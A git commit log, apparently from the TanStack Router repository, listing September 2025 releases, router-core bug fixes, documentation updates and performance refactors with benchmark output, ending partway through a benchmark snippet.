Manuel Schiller
f955b5d732 docs: remove registerGlobalMiddleware 2025-09-23 23:19:09 +02:00
Tanner Linsley
0b33aa5cb4 docs: RC callout 2025-09-23 14:06:46 -06:00
Tanner Linsley
e317020ddd docs: middleware header 2025-09-23 13:46:19 -06:00
Tanner Linsley
657fe59332 docs: middleware 2025-09-23 13:43:34 -06:00
autofix-ci[bot]
29493cb5ba
ci: apply automated fixes 2025-09-23 19:35:21 +00:00
Tanner Linsley
e6475dac20 docs: Start overhaul
# Conflicts:
#	docs/start/config.json
#	docs/start/framework/react/hosting.md
#	docs/start/framework/react/learn-the-basics.md
#	docs/start/framework/react/middleware.md
#	docs/start/framework/react/overview.md
#	docs/start/framework/react/server-functions.md
#	docs/start/framework/react/server-routes.md
#	docs/start/framework/solid/build-from-scratch.md
#	docs/start/framework/solid/hosting.md
#	docs/start/framework/solid/learn-the-basics.md
#	docs/start/framework/solid/selective-ssr.md
2025-09-23 13:34:03 -06:00
autofix-ci[bot]
0a28b17b9e
ci: apply automated fixes 2025-09-23 18:14:14 +00:00
Jaime R.
8c0f8d439f
[Docs] Fix two dots in method call (#5190)
Tiny fix 😊

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Corrected middleware chaining in the React static server functions
example, replacing an erroneous double-dot with proper single-dot method
chaining.
* Example now compiles and accurately reflects the fluent API, improving
clarity for readers.
* No changes to public APIs or runtime behavior; this is a documentation
fix to prevent developer confusion.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-23 20:13:06 +02:00
Tanner Linsley
04176ecee7 docs: funded by 2025-09-23 11:45:10 -06:00
Tanner Linsley
a5909a45ab release: v1.132.0 2025-09-23 17:36:29 +00:00
Manuel Schiller
32faee22da
feat: Start RC (#5189)
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Tanner Linsley <tannerlinsley@users.noreply.github.com>
Co-authored-by: James Opstad <13586373+jamesopstad@users.noreply.github.com>
Co-authored-by: chorobin <chrishorobin@hotmail.com>
Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Co-authored-by: hokkyss <hokkyss2@gmail.com>
Co-authored-by: Philippe Serhal <philippe.serhal@gmail.com>
Co-authored-by: Jack Herrington <jherr@pobox.com>
Co-authored-by: Brenley Dueck <brenleydueck@gmail.com>
2025-09-23 11:34:54 -06:00
Tanner Linsley
4a6dcd09cf release: v1.131.50 2025-09-22 01:13:50 +00:00
Nico Lynzaad
ecd79d2b63
fix(router-core): Non nested paths - only strip trailing underscore on route segments (#5182)
as part of #5169 we made changes to strip underscores from the paths to
ensure it is dealt with correctly during parsing.

inadvertently this stripped it from not only the route segments but also
the base segments. This PR resolves that issue by making
`baseParsePathName` aware which type of segments it is parsing.

a new optional boolean paramater, ```basePathValues```, is introduced in
`baseParsePathName` and `parsePathname` to allow this distinction
between routeSegments and/or basesegments to be passed on to
`baseParsePathName`.

2 new functions are introduced `parseBasePathSegments` and
`parseRoutePathSegments`, which is just wrapper functions around
`parsePathname`, but ensures clearer understanding of what set of
parsing instructions is applied and `basePathValues `is set correctly
based on the requirement.

updated the unit tests to take into account the need not to strip the
base values and also enhanced the e2e tests as well to ensure more
through testing with different usages.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Added non-nested route demos (named, prefix, suffix, path) with
index/foo/bar pages and updated navigation in React and Solid examples.
- Bug Fixes
- Improved path parsing/matching to handle non-nested segments,
prefixes/suffixes and trailing underscores; refined route
sorting/resolution.
- Tests
- Added comprehensive E2E coverage for non-nested paths; removed
obsolete baz-based tests.
- Expanded unit tests for path interpolation and matching (underscore,
prefix/suffix cases).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-22 03:12:27 +02:00
Tanner Linsley
0d00f2862a release: v1.131.49 2025-09-19 23:36:55 +00:00
Manuel Schiller
1d5c5f7776
fix: tell router that rendering finished when rendering to string (#5174)
fixes #5155

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved server-side rendering stability by correctly finalizing the
initial render before injecting additional HTML, preventing rare hangs
or incomplete pages.
  * Applies to both React and Solid router SSR paths.

* **Performance**
* Slightly reduces SSR latency by signaling render completion earlier in
the pipeline.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-20 01:34:03 +02:00
Tanner Linsley
f5872dfef7 release: v1.131.48 2025-09-18 23:06:58 +00:00
Nico Lynzaad
cf2346ba42
fix(router-core): Non-nested paths (#5169)
This PR continues on from #5165 and primarily adds additional tests to
path resolution and matchByPath for non-nested paths in additiona to e2e
test for both react and solid router to verify non-nesting
functionality.

One additional issue was picked up for handling of normal path segments.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Added non-nested demo routes and navigation examples (including
dynamic and edit paths) for React and Solid, with headings, links, and
parameter displays.
- Bug Fixes
- Improved path parsing/decoding for non-nested segments to prevent
unintended nesting and ensure correct parameter values.
- Tests
- Added broad unit tests for non-nested path parsing/matching/resolution
(case-sensitive/insensitive, wildcards, optional/fuzzy).
- Added e2e tests validating non-nested navigation and params; reduced
e2e flakiness by awaiting network idle.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-19 01:05:26 +02:00
Tanner Linsley
3b69de0f41 release: v1.131.47 2025-09-18 18:29:36 +00:00
Nico Lynzaad
ab12c06634
fix(router-core): parse non-nested path params correctly (#5165)
When parsing path params to interpolate the path non-nested path params
```/path/$param_``` was being parsed in the same manner as regular path
params ```/path/$param```.

This PR adds consideration for the trailing underscore when parsing the
path for non-nested path params as well as unit tests on path
interpolation and e2e tests for useParams to ensure this is parsed
correctly and updates correctly when params change.

This resolves #5164

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Support trailing-underscore non-nested path params (e.g., /users/$id_
→ /users/123).
- UI shows an additional navigation link for the non-nested route
(/params-ps/non-nested/foo2/bar2) and improved link display text.

- Tests
- Expanded React and Solid e2e tests to cover the new link, navigation,
and param parsing for foo2/bar2.
- Added unit tests validating interpolation/matching for the $param_
syntax.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-18 20:28:01 +02:00
Tanner Linsley
a8714cdb15 release: v1.131.46 2025-09-18 18:16:05 +00:00
wookhyung
b0ea8de91d
fix(router): prevent script tag duplication in SSR and client-side navigation (#5095)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-18 20:09:15 +02:00
Lee
2c8d5ce61e
fix(router): respect target attribute on inner component (#5115) 2025-09-18 20:06:37 +02:00
Tanner Linsley
d49b20459c release: v1.131.45 2025-09-18 17:31:08 +00:00
Flo
c77dbc34f7
refactor(react-router): Link component composeHandler performance (#5168)
I noticed a slight performance dip during some navigations and the
bottom-up call list of the flame graph seemed to point to the
`composeHandler`. This seems (surprising and) pretty minor, but I'm
measuring a consistent 3ms self-time when the resulting handler is
actually being called.

This PR proposes ditching array methods and using a `for-of` loop. This
is good-enough™ and preserves the generality and DX of this function for
a 25% perf improvement.

```sh
 ✓  @tanstack/react-router  tests/foo.bench.tsx > composeHandlers 10064ms
     name                      hz     min     max    mean     p75     p99    p995    p999     rme   samples
   · array methods  37,152,711.10  0.0000  0.1624  0.0000  0.0000  0.0000  0.0000  0.0002  ±0.14%  18576357
   · for-of         47,029,751.81  0.0000  0.0236  0.0000  0.0000  0.0000  0.0000  0.0001  ±0.07%  23514876   fastest

 BENCH  Summary

   @tanstack/react-router  for-of - tests/foo.bench.tsx > composeHandlers
    1.27x faster than array methods
```

A slightly more performant (~30%) version would be to handle *exactly* 2
handlers instead of an arbitrary number (since `composeHandlers` is only
used w/ 2 callbacks) but this does affect the generality and DX of this
function.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Refactor**
- Updated link event handling to short-circuit when an action is
prevented, maintaining existing behavior.
- Streamlined internal logic for handling user interactions with links
for improved efficiency.
- **Performance**
- Minor efficiency improvements in link interaction handling without
altering the public API or user-facing behavior.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-18 19:29:39 +02:00
Shruti Kapoor
fb4c6a1b82
docs: Tutorial: Fetching data from an external API (#5050)
Adding a new tutorial to Docs -> Tutorials 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* Documentation
* Added a step-by-step tutorial showing server-side route-loader
fetching from an external API into a TanStack Start React app (TMDB
example), covering project setup, env token usage, data flow (SSR),
loading/error states, UI samples, and testing instructions
(/fetch-movies).
* Chores
* Added a Tutorials entry linking the new guide into the React
documentation navigation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-16 20:30:48 -06:00
Shruti Kapoor
e4a3e74a29
docs: Moving images inline and changing urls to relative (#5072)
Incorporating feedback from PR -
https://github.com/TanStack/router/pull/4089. Changes made -
1. Moved images to `assets` folder on suggestion
2. Changed URLs from absolute to relative. 
3. Adding an in-line sequence diagram

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Newly added jokes now receive unique identifiers, improving
reliability when creating new entries.

* **Documentation**
* Updated links to internal paths for SSR, router concepts, and React
Query sections.
* Switched images to repository-hosted assets for consistency and
availability.
* Replaced the data flow image with an inline Mermaid sequence diagram
covering home-page loading and add-joke flows, including data refresh
behavior.
  * Minor formatting cleanup.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-16 20:29:49 -06:00
Prateek Karki
1405da71ed
docs: Fix grammatical error (#5148) 2025-09-16 20:12:24 +02:00
Sarah
8a15c49e5d
Update README (#5152)
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2025-09-16 20:12:10 +02:00
Tanner Linsley
5566ada217 release: v1.131.44 2025-09-15 10:58:54 +00:00
Vedant Pahune
bfc466ffd3
fix: restore InferStructuralSharing and handleHashScroll in published .d.ts files (#5134)
Fixes #5116

### Root Cause
In PR #4907, the TypeScript compiler option `stripInternal` was enabled
in tsconfig.json, which causes TypeScript to remove any declarations
marked with `@internal` from the published `.d.ts` files.

This resulted in TypeScript compilation errors for library users who
have set the TypeScript compiler option `skipLibCheck` to `false`,
because the following members were missing:

- `InferStructuralSharing` type in `react-router`
- `handleHashScroll` function in `router-core > scrollRestoration`

### Fix
- This PR replaces the `@internal` annotation with the `@private`
annotation.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Updated internal API annotations in routing packages to mark certain
items as private, improving the accuracy of generated developer
documentation.
  * No changes to public APIs, behavior, or performance.
  * No user-facing impact.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-15 12:52:34 +02:00
Tanner Linsley
f65072eef1 release: v1.131.43 2025-09-13 00:48:33 +00:00
Sean Cassiere
96bde26a90
fix(router-plugin): show warning for non-splittable items (#5145) 2025-09-13 12:47:02 +12:00
autofix-ci[bot]
9a728b67b6
ci: apply automated fixes 2025-09-12 22:00:41 +00:00
Pavel Rakhmanov
ff07b8135f
docs: fix invalid JSX on selective-ssr documentation page (#5142) 2025-09-12 23:59:50 +02:00
Tanner Linsley
a286e6becb release: v1.131.42 2025-09-12 11:21:42 +00:00
Sean Cassiere
081b949d99
fix(router-devtools-core): add copy to clipboard for search params object (#5140) 2025-09-12 23:18:29 +12:00
Tanner Linsley
ca84fb05f3 release: v1.131.41 2025-09-11 21:29:10 +00:00
Nico Lynzaad
2b6789baa6
fix(router-core): _strictParams and path defining characters (#5135)
This PR resolves #5133 by making the _strictParams more conscious of
path defining characters and other wildcards. It also adds e2e tests for
react and solid

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added “Non-nested path params” pages and links in React and Solid
basic-file-based e2e tests at /params-ps/non-nested, plus nested dynamic
routes to view single and combined params; UI links and outlets
included.

- **Bug Fixes**
- Improved internal path-parameter resolution so strict param extraction
uses the full route path for more accurate matching.

- **Tests**
- Added end-to-end tests verifying navigation to
/params-ps/non-nested/foo/bar and correct partial vs. full param values.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-11 23:27:28 +02:00
Tanner Linsley
a60022301c release: v1.131.40 2025-09-11 16:59:03 +00:00
Flo
d681a0cf66
refactor(router-core): processRouteTree sorting uses constants for all score modifiers (#5131)
Just to make it easier to tweak the values and understand the scales /
functions, we extract all score modifiers to constants w/ descriptive
names.

This PR is a no-op, no logic was modified.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Bug Fixes
- Improved route matching accuracy by prioritizing routes with static
segments that appear after dynamic parameters.
- More predictable matching in complex paths; reduces unexpected
selections.
  - Wildcard routes handled more consistently.

- Refactor
- Updated internal route scoring to consider deeper static segments
without changing the public API.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-11 18:57:29 +02:00
Tanner Linsley
5d6cb80fd7 release: v1.131.39 2025-09-11 16:34:03 +00:00
Flo
65c07d7e99
refactor(router-core): processRouteTree in its own file (#5128)
- move `processRouteTree` to a separate file because the logic is very
self-contained
- create a new function `sortRoutes` w/ the sorting logic, so it can be
tested independently

This PR is a no-op, we're just moving code around, *nothing* was
changed.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Added a public Route type for describing route objects in route trees.

- Refactor
- Consolidated route processing into a dedicated module for clearer
separation and maintainability.
- Updated public exports for route processing; existing imports may need
to be adjusted.
  - No runtime behavior changes expected.

- Tests
- Updated tests to use the new public Route type and revised import
paths.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-11 18:32:17 +02:00
Tanner Linsley
e2167659cd release: v1.131.38 2025-09-11 15:09:09 +00:00
Nico Lynzaad
b6a98805cc
fix(router-core): params.parse should run as minimally as possible (#5124)
resolves #5123 and adds checks to tests to ensure this runs as minimally
as possible

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Performance**
* Reuses existing route matches to reduce redundant param parsing and
stabilize navigation/loading behavior.
* **Tests**
* Updated tests to match the new postId param shape, navigation paths,
and parameter displays; added mocks to verify param parsing calls.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-11 17:07:28 +02:00
Tanner Linsley
9a86563ae0 release: v1.131.37 2025-09-11 07:29:36 +00:00
Nico Lynzaad
8f8f03fbdc
fix(router-core): parse _strictParams. (#5120)
with changing useParams to make use of _strictParams it became apparent
that _strictParams did not apply param parsing correctly. This PR
resolves that problem and hence useParams now return the parsed params
correctly.

This PR also adds unit tests in both react-router and solid-router to
test this expected result.

A separate PR has been created to merge into alpha (#5121)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Stricter route parameter parsing and validation with support for
custom parse/stringify.
- Clearer per-route parameter error reporting, with optional
throw-on-error behavior.
  - More consistent parameter values across nested routes and loaders.

- Tests
- Added integration tests validating useParams with nested routing,
custom param parsing/stringifying, and loader data in both React and
Solid routers.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-11 09:27:55 +02:00
Robert Soriano
6167c0c60d
chore(examples): Update Clerk server handler usage (#5026)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-10 19:33:13 +02:00
Nico Lynzaad
834128ea84
docs: Integration with Esbuild - update title to reflect "Esbuild" (#5112)
The integration with Esbuild page's title is reflecting as Vite.

This PR updates it to reflect as "Esbuild"
2025-09-09 14:34:01 +02:00
Nico Lynzaad
a0e4641728
docs: resolve invalid relative paths (#5111)
paths in "migrate from react location" and "migrate from react-router"
to the installation docs form installing Tanstack router returns 404.

This PR fixes the incorrect relative paths.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Updated installation guide links in the React migration guides for
TanStack Router to point to the correct “How to Install” page.
* Ensures migration steps reference the right documentation, improving
navigation for users following the guides.
  * No functional or code changes.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-09 14:30:57 +02:00
Kilian Finger
d939463e93
docs: fix external data loading path (#5109)
The link to External Data Loading on the [Query
Integration](https://tanstack.com/router/latest/docs/integrations/query)
page currently throws a 404.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Corrected a link in the Router integrations guide to point to the
proper External Data Loading page in the React framework section. This
fixes navigation from that note and ensures readers can access the
referenced guidance without errors. No functional changes to the
product; content remains otherwise unchanged and reduces confusion.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-09 13:32:06 +02:00
Tanner Linsley
99d9044657 release: v1.131.36 2025-09-08 04:22:24 +00:00
Nico Lynzaad
907b1f7ce9
fix: release (#5104)
release

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Minor punctuation update in inline documentation comments to maintain
consistency.
  * No changes to features, user interface, performance, or behavior.
  * APIs, configuration, and compatibility remain unaffected.
* This update is purely editorial and does not alter builds,
deployments, or runtime.
  * Users and integrators do not need to take any action.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-08 06:20:54 +02:00
Nico Lynzaad
22c9888857
fix(react-router, solid-router) - useParams should only be concerned about the relevant params (#5097)
#5020 highlighted an issue where when using useParams in parent route
(that has its own path param) with child routes that also use path
params this can cause excessive re-rendering of the parent route when
the params for the child routes changes.

The root cause for this is that the child params are available to the
parent route, even when strict=false was not specified and this also
does not match to the types that is being returned in this case. This
can be worked around by using select inside the useParams hook/function
but results in unnecessary boilerplate.

This PR attempts to resolve the issue by dealing with the two distinct
cases, one where we are only concerned about the path params of the
current route and prior routes (strict=true/undefined) and the second
where we want access in the parent route to the path params of the child
routes (strict=false).

In the strict case we use the match id to return the params of the
specific match, which is constant and results in stable rendering, while
in the strict=false case we fallback to the initial implementation of
returning params from the useMatch result which can be variable and
requires re-rendering to be done.

Changes were done on useParams for both react and solid, in solid's case
this wasn't causing re-renders but did return unexpected child params,
the change for solid is more toward keeping the API and expected outputs
consistent between the two frameworks. existing unit tests for react was
updated and e2e tests for both frameworks was added to ensure rendering
and results match the expected.

A separate merge has been prepared for Alpha and will be merged on
signoff of this one.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added nested named-parameter routes (three-level: foo → bar → baz) in
example apps with nested navigation, outlets, links and render-count
displays.
- Added a small render-counter component to visualize component
re-renders.

- **Bug Fixes**
- Improved params selection to respect strict vs non-strict modes,
reducing excess renders and producing stable param values.

- **Tests**
- Added E2E tests for React and Solid examples covering param navigation
and render-counts; expanded router unit tests for nested-route stability
and remount behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-07 11:35:09 +02:00
Jakob Norlin
6202162dd3
docs: change hydration target to document.body in custom client.tsx for Solid (#5091)
Fixes #5085

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Updated the Solid framework “Learn the Basics” guide to correct the
client hydration example, targeting the appropriate DOM root.
* Clarifies which element to hydrate, aligning the snippet with current
best practices and reducing confusion for readers.
* Improves copy‑paste reliability of the example for newcomers following
the setup steps.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-05 19:07:19 -05:00
Flo
fbedc50668
test(router-core): add initial tests for router behavior (#4993)
First PR to add framework agnostic unit tests covering router behavior.
We need to add many more (and eventually lighten the tests in each
framework).

This PR adds tests about when a beforeLoad and a loader should execute.

Next PR should add tests about how context is passed.

Look at these issues to see what should be tested:
https://github.com/TanStack/router/issues/4696

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Tests**
* Added comprehensive tests validating preload behavior for route
loading hooks (beforeLoad and loader), covering resolved, pending, and
rejected outcomes including notFound and redirects.
* Verifies navigation control flow, hook invocation counts, pending vs
cached matches, final locations, and loader data handling.
* Includes sibling-route "stay" scenarios and timing helpers to
strengthen async/timing reliability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-05 23:59:13 +02:00
Ian J. MacIntosh
741821b2d2
docs(start): Add Railway instructions (#4910)
I was puzzled why Railway wasn't starting a server, then realized
TanStack Start doesn't define the start command by default
2025-09-04 21:49:49 -05:00
Yağız Yorulmazlar
e83fb3b740
docs: Rename Link Preloading Timeout to Link Preloading Delay (#5082)
The current `Link` component doesn't have `preloadTimeout` prop as
stated in the docs. This PR updates documentation to use the correct
`preloadDelay` prop.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Updated terminology from “Link Preloading Timeout” to “Link Preloading
Delay” to improve clarity.
* Revised examples to use the preloadDelay option instead of
preloadTimeout.
  * Clarified that the default delay remains 50 ms.
* Ensured consistency across headings, descriptions, and code snippets
to match the current public API.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-04 21:24:27 -05:00
Maximilian
e9d4c5b674
chore: fix typo and move route callback for start-workos example (#5048)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-09-05 08:40:27 +12:00
autofix-ci[bot]
df4abd267a
ci: apply automated fixes 2025-09-04 20:26:58 +00:00
Nitin Gupta
f8f47d59aa
Added Prisma as a partner in relevant places (#5086)
Inserted relevant logo files and/or blurbs re: Prisma Postgres in the
relevant places. Please review and edit as you see fit.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Documentation
- Added a Prisma partner tile to the Partners section, linking to
prisma.io with tracking parameters and logo.
- Introduced a Prisma Postgres subsection in the React databases guide
with dark/light logos, feature highlights (edge-optimized, fits your
stack, web UI, auto-scaling, unikernel isolation), and CTAs; placed
after Neon.
- Added Prisma to the TanStack Start funded partners overview with logo
and description, positioned between Neon and Convex.
  - No functional or API changes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
2025-09-04 14:26:10 -06:00
Tanner Linsley
e02201312d release: v1.131.35 2025-09-04 08:48:41 +00:00
Nico Lynzaad
cb0b6928d6
fix(router-core): reduce maskedLocation builds (#5081)
As highlighted by #5062 when using a mask, the location is being built
multiple times.

While we need to build the next path as well as the mask, the mask is
being built twice. this PR fixes that by using the first build of the
mask as the maskedLocation for the next path.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Optimized routing logic to avoid redundant work when applying masked
destinations, reducing unnecessary computation during navigation. No
changes to behavior or public APIs.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-04 10:47:08 +02:00
autofix-ci[bot]
f158256bd4
ci: apply automated fixes 2025-09-03 23:41:01 +00:00
HaydenB
540a2bd8a1
docs: Adding note regarding yarn workspace usage (#5073) 2025-09-04 01:40:11 +02:00
Tanner Linsley
8196ba1573 release: v1.131.34 2025-09-03 19:55:59 +00:00
Flo
3db4eb98ee
refactor(router-core): isMatch perf (#5075)
idk when this function is used, but this is an easy win

```sh
 ✓  @tanstack/router-core  tests/match-by-path.bench.ts > isMatch 3251ms
     name                           hz     min     max    mean     p75     p99    p995    p999     rme  samples
   · new implementation  10,695,733.21  0.0000  1.0057  0.0001  0.0001  0.0001  0.0002  0.0003  ±0.43%  5347867   fastest
   · old implementation   7,647,886.94  0.0000  0.1493  0.0001  0.0001  0.0002  0.0002  0.0003  ±0.08%  3823944

 BENCH  Summary

   @tanstack/router-core  new implementation - tests/match-by-path.bench.ts > isMatch
    1.40x faster than old implementation
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Optimized internal path-matching logic to reduce array mutations and
improve performance during route resolution.
* Improves efficiency and lowers memory churn in navigation-heavy
scenarios.
  * No changes to expected behavior or public APIs.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-03 21:49:28 +02:00
Flo
777e152d9f
refactor(router-core): redirect doesn't need to create an empty object for headers init (#5076)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Streamlined header initialization in redirect handling to rely on
default behavior when no headers are provided.
* Improves consistency and reduces implicit assumptions in header
processing without altering existing behavior.

* **Chores**
* Minor internal cleanup to align with standard header handling
patterns.

No functional changes are expected for end-users; redirects and related
headers continue to behave as before.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-03 21:48:47 +02:00
Tanner Linsley
453790b723 release: v1.131.33 2025-09-03 16:51:07 +00:00
Flo
dc45979f1f
fix(router-core): replaceEqualDeep works w/ null prototype objects (#5080)
Fix https://github.com/TanStack/router/issues/5078

I had not pushed this before because ESLint was angry w/ me, and now
stuff breaks :'(

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved reliability when comparing and updating objects with null
prototypes, addressing edge-case behavior and preventing unexpected
failures.
* Hardened own-property checks to behave consistently across different
object shapes.
  * No changes to the public API.

* **Tests**
* Added coverage for handling objects created without a prototype to
ensure correct comparison and update behavior.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-03 18:49:41 +02:00
hokkyss
bc5e78f04c
docs(start): environment functions for createIsomorphicFn and envOnly (#4806) 2025-09-03 15:40:25 +12:00
Manuel Schiller
31783149e5 docs: document shellComponent 2025-09-02 20:55:42 +02:00
Tanner Linsley
fec3509d7a release: v1.131.32 2025-09-02 12:31:46 +00:00
Flo
ad3ab7fbb6
refactor(router-core): unify replaceEqualDeep implementation w/ query (#5067)
Following https://github.com/TanStack/query/pull/9604, this PR
replicates the implementation of `replaceEqualDeep` here, so that both
are more similar (avoid drifting apart over time).

There are no performance changes.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Performance
- Optimized internal deep-compare and replacement logic to short-circuit
equal values and avoid unnecessary recursion, improving route state
updates. Users may see faster navigations and reduced CPU usage in
complex scenarios.

- Refactor
- Simplified internal implementation while preserving existing behavior
and public APIs. No functional changes or breaking changes for
consumers.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-02 14:30:20 +02:00
autofix-ci[bot]
5b5f792e3f
ci: apply automated fixes 2025-09-01 17:29:58 +00:00
Noah Silas
0ee993b09e
docs: Use named component in react quick-start (#5061) 2025-09-01 19:29:04 +02:00
Tanner Linsley
79fe58fdef release: v1.131.31 2025-08-31 11:51:05 +00:00
Nico Lynzaad
fb04dafb21
fix(react-router, solid-router): reduce useNavigate reactivity on path changes (#5037)
This is a follow-up to #4978.

As picked up by @Sheraff the changes made caused useNavigate to
negatively impact performance specifically with useNavigate being too
reactive to path changes.

This reverts the use of useActiveLocation, that acted as a single
implementation of the logic to determine the from location, and moves
the determination of the from path back to each of Link and useNavigate.
While the core logic is still the same across the implementations the
implication of how it's used and the sources of the required inputs are
different enough that it warrants separate implementations.

This PR does not revert the full change set and still applies to core
reasons and changes for the previous commit in keeping the logic for
determining the from clause the same, i.e. the order of determining the
from path for navigation remains: from clause => current location =>
rendered location.

@Sheraff to advise if this implementation resolves the issues he picked
up.



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* Breaking Changes
* Removed active-location hooks and their associated types from React
and Solid packages.
* Refactor
* Link and navigation now accept an explicit "from" option instead of
deriving it from active-location state.
* New Features
* Added a programmatic Navigate helper for Solid to trigger navigation
on mount.
* Bug Fixes
* More predictable fallback behavior when no explicit "from" is
provided.
* Performance
  * Reduced state subscriptions for minor efficiency gains.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-31 13:48:25 +02:00
Tanner Linsley
d872397a26 release: v1.131.30 2025-08-30 13:22:55 +00:00
Flo
eb6bcea03b
refactor(router-core): slightly faster replaceEqualDeep (#5046)
## Description

Improve performance of this function that gets called a lot for
structural sharing. Main improvements are
- avoid creating object when possible
(`Object.keys().concat(Object.getOwnPropertySymbols())` creates 3
arrays, when we only want 1)
- instantiating array to the correct size avoids a lot of memory
management under the hood (prefer `new Array(size)` over `[]`)
- avoid reading the same value many times on an object, store is as a
const

More minor changes (not 100% sure I can measure it, but I think so):
- using `keys.includes(k)` is slower than
`Object.hasOwnProperty.call(obj, k)` or `obj.hasOwnProperty(k)`

## benchmark

TL;DR: consistently 1.3x faster implementation

```ts
describe('replaceEqualDeep', () => {
  bench('old implementation', () => {
    replaceEqualDeepOld({ a: 1, b: [2, 3] }, { a: 1, b: [2, 3] })
    replaceEqualDeepOld({ a: 1, b: [2, 3] }, { a: 2, b: [2] })
  })

  bench('new implementation', () => {
